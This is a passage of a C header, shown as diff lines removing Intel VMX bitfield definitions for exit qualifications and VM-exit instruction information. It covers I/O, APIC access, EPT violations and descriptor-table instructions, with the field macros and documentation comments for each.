>> 4) & 0x01) -#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_TO_DR 0x00000000 -#define VMX_EXIT_QUALIFICATION_DIRECTION_MOV_FROM_DR 0x00000001 - uint64_t reserved2 : 3; - - /** - * [Bits 11:8] General-purpose register. - */ - uint64_t general_purpose_register : 4; -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_BIT 8 -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_FLAG 0xF00 -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_MOV_DR_GENERAL_PURPOSE_REGISTER(_) (((_) >> 8) & 0x0F) - uint64_t reserved3 : 52; - }; - - uint64_t flags; -} vmx_exit_qualification_mov_dr; - -/** - * @brief Exit Qualification for I/O Instructions - */ -typedef union -{ - struct - { - /** - * [Bits 2:0] Size of access. - */ - uint64_t size_of_access : 3; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_BIT 0 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_FLAG 0x07 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS_MASK 0x07 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_SIZE_OF_ACCESS(_) (((_) >> 0) & 0x07) -#define VMX_EXIT_QUALIFICATION_WIDTH_1_BYTE 0x00000000 -#define VMX_EXIT_QUALIFICATION_WIDTH_2_BYTE 0x00000001 -#define VMX_EXIT_QUALIFICATION_WIDTH_4_BYTE 0x00000003 - - /** - * [Bit 3] Direction of the attempted access (0 = OUT, 1 = IN). - */ - uint64_t direction_of_access : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_BIT 3 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_FLAG 0x08 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_DIRECTION_OF_ACCESS(_) (((_) >> 3) & 0x01) -#define VMX_EXIT_QUALIFICATION_DIRECTION_OUT 0x00000000 -#define VMX_EXIT_QUALIFICATION_DIRECTION_IN 0x00000001 - - /** - * [Bit 4] String instruction (0 = not string; 1 = string). - */ - uint64_t string_instruction : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_BIT 4 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_FLAG 0x10 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_STRING_INSTRUCTION(_) (((_) >> 4) & 0x01) -#define VMX_EXIT_QUALIFICATION_IS_STRING_NOT_STRING 0x00000000 -#define VMX_EXIT_QUALIFICATION_IS_STRING_STRING 0x00000001 - - /** - * [Bit 5] REP prefixed (0 = not REP; 1 = REP). - */ - uint64_t rep_prefixed : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_BIT 5 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_FLAG 0x20 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_REP_PREFIXED(_) (((_) >> 5) & 0x01) -#define VMX_EXIT_QUALIFICATION_IS_REP_NOT_REP 0x00000000 -#define VMX_EXIT_QUALIFICATION_IS_REP_REP 0x00000001 - - /** - * [Bit 6] Operand encoding (0 = DX, 1 = immediate). - */ - uint64_t operand_encoding : 1; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_BIT 6 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_FLAG 0x40 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_OPERAND_ENCODING(_) (((_) >> 6) & 0x01) -#define VMX_EXIT_QUALIFICATION_ENCODING_DX 0x00000000 -#define VMX_EXIT_QUALIFICATION_ENCODING_IMMEDIATE 0x00000001 - uint64_t reserved1 : 9; - - /** - * [Bits 31:16] Port number (as specified in DX or in an immediate operand). - */ - uint64_t port_number : 16; -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_BIT 16 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_FLAG 0xFFFF0000 -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER_MASK 0xFFFF -#define VMX_EXIT_QUALIFICATION_IO_INSTRUCTION_PORT_NUMBER(_) (((_) >> 16) & 0xFFFF) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} vmx_exit_qualification_io_instruction; - -/** - * @brief Exit Qualification for APIC-Access VM Exits from Linear Accesses and Guest-Physical Accesses - */ -typedef union -{ - struct - { - /** - * [Bits 11:0] - If the APIC-access VM exit is due to a linear access, the offset of access within the APIC page. - * - Undefined if the APIC-access VM exit is due a guest-physical access. - */ - uint64_t page_offset : 12; -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_BIT 0 -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_FLAG 0xFFF -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET_MASK 0xFFF -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_PAGE_OFFSET(_) (((_) >> 0) & 0xFFF) - - /** - * [Bits 15:12] Access type. - */ - uint64_t access_type : 4; -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_BIT 12 -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_FLAG 0xF000 -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE_MASK 0x0F -#define VMX_EXIT_QUALIFICATION_APIC_ACCESS_ACCESS_TYPE(_) (((_) >> 12) & 0x0F) - /** - * Linear access for a data read during instruction execution. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_READ 0x00000000 - - /** - * Linear access for a data write during instruction execution. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_WRITE 0x00000001 - - /** - * Linear access for an instruction fetch. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_INSTRUCTION_FETCH 0x00000002 - - /** - * Linear access (read or write) during event delivery. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_LINEAR_EVENT_DELIVERY 0x00000003 - - /** - * Guest-physical access during event delivery. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_EVENT_DELIVERY 0x0000000A - - /** - * Guest-physical access for an instruction fetch or during instruction execution. - */ -#define VMX_EXIT_QUALIFICATION_TYPE_PHYSICAL_INSTRUCTION_FETCH 0x0000000F - uint64_t reserved1 : 48; - }; - - uint64_t flags; -} vmx_exit_qualification_apic_access; - -/** - * @brief Exit Qualification for EPT Violations - */ -typedef union -{ - struct - { - /** - * [Bit 0] Set if the access causing the EPT violation was a data read. - */ - uint64_t read_access : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_BIT 0 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_FLAG 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READ_ACCESS(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Set if the access causing the EPT violation was a data write. - */ - uint64_t write_access : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_BIT 1 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_FLAG 0x02 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_WRITE_ACCESS(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Set if the access causing the EPT violation was an instruction fetch. - */ - uint64_t execute_access : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_BIT 2 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_FLAG 0x04 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_ACCESS(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] The logical-AND of bit 0 in the EPT paging-structure entries used to translate the guest-physical address of the - * access causing the EPT violation (indicates whether the guest-physical address was readable). - */ - uint64_t ept_readable : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_BIT 3 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_FLAG 0x08 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_READABLE(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] The logical-AND of bit 1 in the EPT paging-structure entries used to translate the guest-physical address of the - * access causing the EPT violation (indicates whether the guest-physical address was writeable). - */ - uint64_t ept_writeable : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_BIT 4 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_FLAG 0x10 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_WRITEABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] The logical-AND of bit 2 in the EPT paging-structure entries used to translate the guest-physical address of the - * access causing the EPT violation. - * If the "mode-based execute control for EPT" VM-execution control is 0, this indicates whether the guest-physical address - * was executable. If that control is 1, this indicates whether the guest-physical address was executable for - * supervisor-mode linear addresses. - */ - uint64_t ept_executable : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_BIT 5 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FLAG 0x20 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] If the "mode-based execute control" VM-execution control is 0, the value of this bit is undefined. If that - * control is 1, this bit is the logical-AND of bit 10 in the EPT paging-structures entries used to translate the - * guest-physical address of the access causing the EPT violation. In this case, it indicates whether the guest-physical - * address was executable for user-mode linear addresses. - */ - uint64_t ept_executable_for_user_mode : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_BIT 6 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_FLAG 0x40 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EPT_EXECUTABLE_FOR_USER_MODE(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Set if the guest linear-address field is valid. The guest linear-address field is valid for all EPT violations - * except those resulting from an attempt to load the guest PDPTEs as part of the execution of the MOV CR instruction. - */ - uint64_t valid_guest_linear_address : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_BIT 7 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_FLAG 0x80 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_VALID_GUEST_LINEAR_ADDRESS(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] If bit 7 is 1: - * - Set if the access causing the EPT violation is to a guest-physical address that is the translation of a linear - * address. - * - Clear if the access causing the EPT violation is to a paging-structure entry as part of a page walk or the update of - * an accessed or dirty bit. - * Reserved if bit 7 is 0 (cleared to 0). - */ - uint64_t caused_by_translation : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_BIT 8 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_FLAG 0x100 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_CAUSED_BY_TRANSLATION(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] This bit is 0 if the linear address is a supervisor-mode linear address and 1 if it is a user-mode linear - * address. Otherwise, this bit is undefined. - * - * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If - * CR0.PG = 0, the translation of every linear address is a user-mode linear address and thus this bit will be 1.) - */ - uint64_t user_mode_linear_address : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_BIT 9 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_FLAG 0x200 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_USER_MODE_LINEAR_ADDRESS(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] This bit is 0 if paging translates the linear address to a read-only page and 1 if it translates to a - * read/write page. Otherwise, this bit is undefined - * - * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If - * CR0.PG = 0, every linear address is read/write and thus this bit will be 1.) - */ - uint64_t readable_writable_page : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_BIT 10 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_FLAG 0x400 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_READABLE_WRITABLE_PAGE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] This bit is 0 if paging translates the linear address to an executable page and 1 if it translates to an - * execute-disable page. Otherwise, this bit is undefined. - * - * @remarks If bit 7 is 1, bit 8 is 1, and the processor supports advanced VM-exit information for EPT violations. (If - * CR0.PG = 0, CR4.PAE = 0, or IA32_EFER.NXE = 0, every linear address is executable and thus this bit will be 0.) - */ - uint64_t execute_disable_page : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_BIT 11 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_FLAG 0x800 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_EXECUTE_DISABLE_PAGE(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] NMI unblocking due to IRET. - */ - uint64_t nmi_unblocking : 1; -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_BIT 12 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_FLAG 0x1000 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING_MASK 0x01 -#define VMX_EXIT_QUALIFICATION_EPT_VIOLATION_NMI_UNBLOCKING(_) (((_) >> 12) & 0x01) - uint64_t reserved1 : 51; - }; - - uint64_t flags; -} vmx_exit_qualification_ept_violation; - -/** - * @} - */ - - /** - * @defgroup vmx_vmexit_instruction_information \ - * Information for VM Exits Due to Instruction Execution - * - * Information for VM Exits Due to Instruction Execution. - * - * @see Vol3C[27.2.4(Information for VM Exits Due to Instruction Execution)] (reference) - * @{ - */ - /** - * @brief VM-Exit Instruction-Information Field as Used for INS and OUTS - */ -typedef union -{ - struct - { - uint64_t reserved1 : 7; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 5; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for VM exits due to execution of INS. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INS_OUTS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - uint64_t reserved3 : 46; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_ins_outs; - -/** - * @brief VM-Exit Instruction-Information Field as Used for INVEPT, INVPCID, and INVVPID - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 5; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 5; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. Undefined for VM exits due to execution of INS. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is - * set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * [Bits 31:28] Reg2 (same encoding as IndexReg above). - */ - uint64_t register_2 : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_FLAG 0xF0000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_INVALIDATE_REGISTER_2(_) (((_) >> 28) & 0x0F) - uint64_t reserved3 : 32; - }; - - uint64_t flags; -} vmx_vmexit_instruction_info_invalidate; - -/** - * @brief VM-Exit Instruction-Information Field as Used for LIDT, LGDT, SIDT, or SGDT - */ -typedef union -{ - struct - { - /** - * @brief Scaling - * - * [Bits 1:0] 0: no scaling - * 1: scale by 2 - * 2: scale by 4 - * 3: scale by 8 (used only on processors that support Intel 64 architecture) - * Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t scaling : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_BIT 0 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_FLAG 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING_MASK 0x03 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) - uint64_t reserved1 : 5; - - /** - * @brief Address size - * - * [Bits 9:7] 0: 16-bit - * 1: 32-bit - * 2: 64-bit (used only on processors that support Intel 64 architecture) - * Other values not used. - */ - uint64_t address_size : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_BIT 7 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_FLAG 0x380 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) - uint64_t reserved2 : 1; - - /** - * @brief Operand size - * - * [Bit 11] 0: 16-bit - * 1: 32-bit - * Undefined for VM exits from 64-bit mode. - */ - uint64_t operand_size : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_BIT 11 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_FLAG 0x800 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_OPERAND_SIZE(_) (((_) >> 11) & 0x01) - uint64_t reserved3 : 3; - - /** - * @brief Segment register - * - * [Bits 17:15] 0: ES - * 1: CS - * 2: SS - * 3: DS - * 4: FS - * 5: GS - * Other values not used. - */ - uint64_t segment_register : 3; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_BIT 15 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER_MASK 0x07 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) - - /** - * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). - */ - uint64_t general_purpose_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) - - /** - * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). - */ - uint64_t general_purpose_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) - - /** - * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is - * set). - */ - uint64_t base_register : 4; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_BIT 23 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_FLAG 0x7800000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_MASK 0x0F -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) - - /** - * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). - */ - uint64_t base_register_invalid : 1; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_BIT 27 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) - - /** - * @brief Instruction identity - * - * [Bits 29:28] 0: SGDT - * 1: SIDT - * 2: LGDT - * 3: LIDT - */ - uint64_t instruction : 2; -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_BIT 28 -#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_FLAG 0x30000000 -#define 